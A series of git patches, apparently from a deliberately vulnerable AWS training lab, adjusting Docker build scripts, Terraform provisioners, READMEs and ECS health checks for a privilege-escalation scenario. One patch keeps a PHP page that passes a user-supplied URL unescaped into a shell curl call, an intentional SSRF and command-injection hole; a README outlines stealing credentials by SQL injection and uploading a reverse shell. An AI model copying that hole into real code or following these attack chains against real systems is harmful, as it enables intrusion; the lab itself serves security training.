index 19b429c1..0cf400d2 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -4,9 +4,6 @@ import subprocess import base64 import argparse -import os - -env = os.environ.copy() def create_ecr_repository(client, repository_name): @@ -29,12 +26,12 @@ def get_docker_login_cmd(client, region): return f"docker login --username {username} --password {password} {registry}" -def docker_build_and_push(repository_uri, image_tag): +def docker_build_and_push(repository_uri, image_tag, path): # Build the Docker image - subprocess.run(f"docker build -t {repository_uri}:{image_tag} ../assets/ssrf-web/", shell=True, check=True, env=env) + subprocess.run(f"docker build -t {repository_uri}:{image_tag} {path}", shell=True, check=True) # Push the Docker image - subprocess.run(f"docker push {repository_uri}:{image_tag}", shell=True, check=True, env=env) + subprocess.run(f"docker push {repository_uri}:{image_tag}", shell=True, check=True) def main(): @@ -43,6 +40,7 @@ def main(): parser.add_argument('--region', help='AWS region', default='us-east-1') parser.add_argument('--profile', help='AWS profile', default='default') parser.add_argument('--image_tag', help='Docker image tag', default='latest') + parser.add_argument('--dockerfile_path', help='Path of Dockerfile', default='.') args = parser.parse_args() boto3.setup_default_session(profile_name=args.profile) @@ -55,10 +53,10 @@ def main(): # Step 2: Authenticate Docker with ECR docker_login_cmd = get_docker_login_cmd(client, args.region) - subprocess.run(docker_login_cmd, shell=True, check=True, env=env) + subprocess.run(docker_login_cmd, shell=True, check=True) # Step 3: Build and Push Docker Image - docker_build_and_push(repository_uri, args.image_tag) + docker_build_and_push(repository_uri, args.image_tag, args.dockerfile_path) if __name__ == "__main__": From 93c64969396794960b9c8b89229838f324f63318 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 11:16:54 +0900 Subject: [PATCH 21/31] Once the scripts would be fail, make tf fail. --- .../ecs_privesc_evade_protection/terraform/ecr.tf | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf index 863d425c..2a3377e4 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -6,14 +6,16 @@ resource "null_resource" "docker_image" { # Push Docker image when the scenario be created provisioner "local-exec" { - when = create - command = "python ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" + when = create + on_failure = fail + command = "python ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" } # Pop Docker images when the scenario be destroyed provisioner "local-exec" { - when = destroy - command = "python ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" + when = destroy + on_failure = fail + command = "python ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" } triggers = { From 60164734e8b640e259a2987c3de171f24fec4a9b Mon Sep 17 00:00:00 2001 From: 3iuy Date: Fri, 15 Dec 2023 11:21:28 +0900 Subject: [PATCH 22/31] If the docker push fails, try pushing it up to 3 times again. --- .../terraform/push-dockerfile.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py index 0cf400d2..951a7882 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -4,6 +4,18 @@ import subprocess import base64 import argparse +import time + + +def run_command_with_retry(command, max_retries=3, delay=5): + for attempt in range(max_retries): + try: + subprocess.run(command, shell=True, check=True) + return + except subprocess.CalledProcessError: + if attempt < max_retries - 1: + print(f"Attempt `{command}` failed. Retrying after {delay} seconds...{attempt + 1}/{max_retries + 1}") + time.sleep(delay) def create_ecr_repository(client, repository_name): @@ -30,8 +42,9 @@ def docker_build_and_push(repository_uri, image_tag, path): # Build the Docker image subprocess.run(f"docker build -t {repository_uri}:{image_tag} {path}", shell=True, check=True) - # Push the Docker image - subprocess.run(f"docker push {repository_uri}:{image_tag}", shell=True, check=True) + # Push the Docker image with retry + docker_push_cmd = f"docker push {repository_uri}:{image_tag}" + run_command_with_retry(docker_push_cmd) def main(): From f9c56e371abc9a6a388666132facd503665d4db8 Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 12:57:06 +0900 Subject: [PATCH 23/31] change command `python` to `python3` in local-exec --- scenarios/ecs_privesc_evade_protection/terraform/ecr.tf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf index 2a3377e4..e0f754ca 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecr.tf @@ -8,14 +8,14 @@ resource "null_resource" "docker_image" { provisioner "local-exec" { when = create on_failure = fail - command = "python ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" + command = "python3 ./push-dockerfile.py --dockerfile_path ../assets/ssrf-web/ --repository ${aws_ecr_repository.repository.name} --region ${var.region} --profile ${var.profile} --image_tag latest" } # Pop Docker images when the scenario be destroyed provisioner "local-exec" { when = destroy on_failure = fail - command = "python ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" + command = "python3 ./pop-dockerfile.py --repository ${self.triggers.repository_name} --region ${self.triggers.region} --profile ${self.triggers.profile} --image_tag all" } triggers = { From e99042f4a1021a6a12d2f97e85b3bfc6b5d67856 Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 13:00:31 +0900 Subject: [PATCH 24/31] add `depends on for s3 policy` in cloudtrail.tf --- scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf | 2 ++ 1 file changed, 2 insertions(+) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf index 54f761db..194e414a 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf @@ -3,4 +3,6 @@ resource "aws_cloudtrail" "cloudtrail" { name = "cg-cloudtrail-${var.cgid}" s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id enable_logging = true + + depends_on = [aws_s3_bucket_policy.trail_bucket_policy] } \ No newline at end of file From 941aa8206d81ae86f87bd7c030362c7259e0ec75 Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 13:12:53 +0900 Subject: [PATCH 25/31] check architecture and add "--platform=linux/arm64" for arm. --- .../terraform/push-dockerfile.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py index 951a7882..f42e92dd 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -5,6 +5,7 @@ import base64 import argparse import time +import platform def run_command_with_retry(command, max_retries=3, delay=5): @@ -39,8 +40,17 @@ def get_docker_login_cmd(client, region): def docker_build_and_push(repository_uri, image_tag, path): + + # Detect the architecture + architecture = platform.machine() + print(f"Detected architecture: {architecture}") + + # Add --platform flag to your build command if ARM + platform_flag = "--platform=linux/arm64" if architecture.lower() in ['arm64', 'aarch64'] else "" + # Build the Docker image - subprocess.run(f"docker build -t {repository_uri}:{image_tag} {path}", shell=True, check=True) + docker_build_cmd = f"docker build {platform_flag} -t {repository_uri}:{image_tag} {path}" + subprocess.run(docker_build_cmd, shell=True, check=True) # Push the Docker image with retry docker_push_cmd = f"docker push {repository_uri}:{image_tag}" From e7125294d5be8c520a1e891d934e45bbf1403468 Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 13:22:04 +0900 Subject: [PATCH 26/31] Remove docker login in `pop-dockfile.py`. --- .../terraform/pop-dockerfile.py | 17 +---------------- 1 file changed, 1 insertion(+), 16 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py index 9dbb7457..f5d76f3e 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py +++ b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py @@ -1,16 +1,5 @@ import boto3 import argparse -import base64 -import subprocess - - -def get_docker_login_cmd(client, region): - token = client.get_authorization_token()["authorizationData"][0] - username, password = ( - base64.b64decode(token["authorizationToken"]).decode().split(":") - ) - registry = token["proxyEndpoint"] - return f"docker login --username {username} --password {password} {registry}" def delete_all_images(client, repository_name): @@ -60,11 +49,7 @@ def main(): boto3.setup_default_session(profile_name=args.profile) client = boto3.client("ecr", region_name=args.region) - # Step 1: Authenticate Docker with ECR - docker_login_cmd = get_docker_login_cmd(client, args.region) - subprocess.run(docker_login_cmd, shell=True, check=True) - - # Step 2: Remove Docker image on ECR. + # Remove Docker image on ECR. delete_all_images(client, args.repository) if args.image_tag == 'all' else delete_ecr_image(client, args.repository, args.image_tag) From fafbf7fbfe7a78bcea26b45e5762078394ad4922 Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 13:35:53 +0900 Subject: [PATCH 27/31] Restore describe about `glue_privesc` in README.md --- README.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/README.md b/README.md index e0d56f13..c4d3f929 100644 --- a/README.md +++ b/README.md @@ -235,6 +235,17 @@ A user begins by accessing a working web service to a container inside EC2. The [Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md) +### glue_privesc(Large / Moderate) + +`$ ./cloudgoat.py create glue_privesc` + +This scenario starts with a web page that uploads a CSV file and performs data visualization through the Glue service. +The attacker steals the credentials present on the webpage via a SQL injection attack and uploads a reverse shell to create a Glue Job to obtain the secret string + +> **Note:** This scenario may require you to create some AWS resources, and because CloudGoat can only manage resources it creates, you should remove them manually before running `./cloudgoat destroy`. + +[Visit Scenario Page.](scenarios/glue_privesc/README.md) + ## Usage Guide The basic anatomy of a CloudGoat command is as follows: From 0578065872ad3be61dfc8146317e9acb01f8edbe Mon Sep 17 00:00:00 2001 From: ysu Date: Sun, 24 Dec 2023 13:40:32 +0900 Subject: [PATCH 28/31] Add a note about docker. --- scenarios/ecs_privesc_evade_protection/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md index ccb7e3d7..6f87b7b8 100644 --- a/scenarios/ecs_privesc_evade_protection/README.md +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -27,6 +27,8 @@ Scenario starts as a web user. > **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error. +> **Note**: Use the docker command during the scenario creation process; the docker environment have to be ready. + ## Scenario Goal(s) Read flag.txt in S3 with avoiding various defense techniques. From 60605dbddceb9bebfe2b732f431f49ced81e1e55 Mon Sep 17 00:00:00 2001 From: ysu Date: Fri, 29 Dec 2023 23:53:34 +0900 Subject: [PATCH 29/31] build the container with Linux/amd64 by force. --- .../terraform/push-dockerfile.py | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py index f42e92dd..4053c472 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -5,7 +5,6 @@ import base64 import argparse import time -import platform def run_command_with_retry(command, max_retries=3, delay=5): @@ -40,16 +39,8 @@ def get_docker_login_cmd(client, region): def docker_build_and_push(repository_uri, image_tag, path): - - # Detect the architecture - architecture = platform.machine() - print(f"Detected architecture: {architecture}") - - # Add --platform flag to your build command if ARM - platform_flag = "--platform=linux/arm64" if architecture.lower() in ['arm64', 'aarch64'] else "" - # Build the Docker image - docker_build_cmd = f"docker build {platform_flag} -t {repository_uri}:{image_tag} {path}" + docker_build_cmd = f"docker build --platform=linux/amd64 -t {repository_uri}:{image_tag} {path}" subprocess.run(docker_build_cmd, shell=True, check=True) # Push the Docker image with retry From 13a9e966f4f8f4c66790c4f1252f423173065e02 Mon Sep 17 00:00:00 2001 From: dragoon Date: Tue, 30 Apr 2024 13:46:30 +0900 Subject: [PATCH 30/31] fix scenario create command in `README.md` --- scenarios/ecs_privesc_evade_protection/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md index 6f87b7b8..7fef4df2 100644 --- a/scenarios/ecs_privesc_evade_protection/README.md +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -4,7 +4,7 @@ **Difficulty**: Moderate -**Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs` +**Command**: `$ ./cloudgoat.py create ecs_privesc_evade_protection` ## Scenario Resources From b305d819f9730a8f85e9ea5dcfcae5c7ead9df4b Mon Sep 17 00:00:00 2001 From: dragoon Date: Tue, 30 Apr 2024 16:39:49 +0900 Subject: [PATCH 31/31] set timeout to `curl` to make less down the web container --- .../assets/ssrf-web/index.php | 9 +++++++-- scenarios/ecs_privesc_evade_protection/terraform/ecs.tf | 4 ++-- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php index ef313d8a..c369f31c 100644 --- a/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php +++ b/scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php @@ -26,8 +26,13 @@ echo "Access to meta-data is not allowed."; echo "\n\n"; } else { - $response = shell_exec("curl " . $url); - if ($response !== null) { + $response = shell_exec("curl --max-time 10 " . $url); + if ($response === null) { + error_log("Failed to execute curl for URL: " . escapeshellarg($url)); + echo "Failed to fetch the URL."; + echo "\n\n"; + } + else if ($response !== null) { echo "
";
             echo htmlspecialchars($response);
             echo "
"; diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf index e786b9d1..4566a5bf 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -128,10 +128,10 @@ resource "aws_ecs_task_definition" "web_task" { healthCheck = { command = ["CMD-SHELL", "curl -f http://localhost/ || exit 1"], - interval = 30, + interval = 10, timeout = 5, retries = 3, - startPeriod = 30 + startPeriod = 15 } }]) }